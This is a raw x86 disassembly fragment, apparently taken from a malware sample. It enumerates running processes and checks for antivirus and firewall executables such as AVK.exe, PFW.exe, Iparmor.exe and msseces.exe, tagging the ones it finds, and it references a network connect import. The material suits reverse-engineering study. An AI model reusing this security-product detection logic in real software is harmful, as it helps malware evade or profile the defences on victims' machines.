call fcn.100010a5
add esp, 8
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x10023509
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 8]
add ebx, 0x24
mov dword [ebp - 0x14], ebx
push 0xa0000101
push 0
mov ebx, dword [ebp - 0x14]
push dword [ebx]
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.FilMsg.exe
push dword [ebp - 0x18]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x10023565
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x1c], 0
je 0x1002359f
push 0x100dcb8e
push dword [ebp - 0x10]
mov ecx, 2
call fcn.100010a5
add esp, 8
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x1002359b
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 8]
add ebx, 0x24
mov dword [ebp - 0x14], ebx
push 0xa0000101
push 0
mov ebx, dword [ebp - 0x14]
push dword [ebx]
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.AVK.exe
push dword [ebp - 0x18]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x100235f7
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x1c], 0
je 0x10023631
push str._GData
push dword [ebp - 0x10]
mov ecx, 2
call fcn.100010a5
add esp, 8
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x1002362d
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 8]
add ebx, 0x24
mov dword [ebp - 0x14], ebx
push 0xa0000101
push 0
mov ebx, dword [ebp - 0x14]
push dword [ebx]
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.PFW.exe
push dword [ebp - 0x18]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x10023689
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x1c], 0
je 0x100236c3
push 0x100dcbab
push dword [ebp - 0x10]
mov ecx, 2
call fcn.100010a5
add esp, 8
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x100236bf
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 8]
add ebx, 0x24
mov dword [ebp - 0x14], ebx
push 0xa0000101
push 0
mov ebx, dword [ebp - 0x14]
push dword [ebx]
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.Iparmor.exe
push dword [ebp - 0x18]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x1002371b
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x1c], 0
je 0x10023755
push 0x100dcbc3
push dword [ebp - 0x10]
mov ecx, 2
call fcn.100010a5
add esp, 8
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x10023751
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 8]
add ebx, 0x24
mov dword [ebp - 0x14], ebx
push 0xa0000101
push 0
mov ebx, dword [ebp - 0x14]
push dword [ebx]
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.msseces.exe
push dword [ebp - 0x18]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x100237ad
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x1c], 0
je 0x100237e7
push 0x100dcbd9
push dword [ebp - 0x10]
mov ecx, 2
call fcn.100010a5
add esp, 8
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x100237e3
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], esp
mov eax, dword [ebp - 8]
push eax
push 0x124
call fcn.100abdd1
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_Process32Next]
nop
nop
cmp dword [ebp - 0x14], esp
je 0x1002389e
push 0x17fc
push 0x4031b39
push 6
call fcn.100abddd
add esp, 0xc
push eax
mov ebx, dword [ebp - 0x18]
push ebx
mov edi, dword [ebp - 0x1c]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
push edi
push 1
mov eax, 2
call fcn.100aca70
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x1002392f
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x1002392d
imul eax, dword [edi]
jmp 0x10023922
mov ecx, eax
cmp ecx, 0x100
jle 0x1002393c
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x100
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
jmp 0x100224d4
mov dword [ebp - 0x14], esp
push dword [ebp - 4]
xor eax, eax
call dword [0x100e6e85]
nop
nop
cmp dword [ebp - 0x14], esp
je 0x10023988
push 0x1832
push 0x4031b39
push 6
call fcn.100abddd
add esp, 0xc
jmp 0x10023998
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x100239ab
mov eax, 0x100d424e
push eax
push 1
mov ebx, 0x174
call fcn.100ada90
add esp, 0x10
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
jmp 0x100239c9
push eax
mov ebx, dword [ebp - 8]
push ebx
add ebx, 0x24
push ebx
mov ebx, dword [ebx]
push ebx
call fcn.100abdd7
add esp, 4
pop ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x100239f6
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret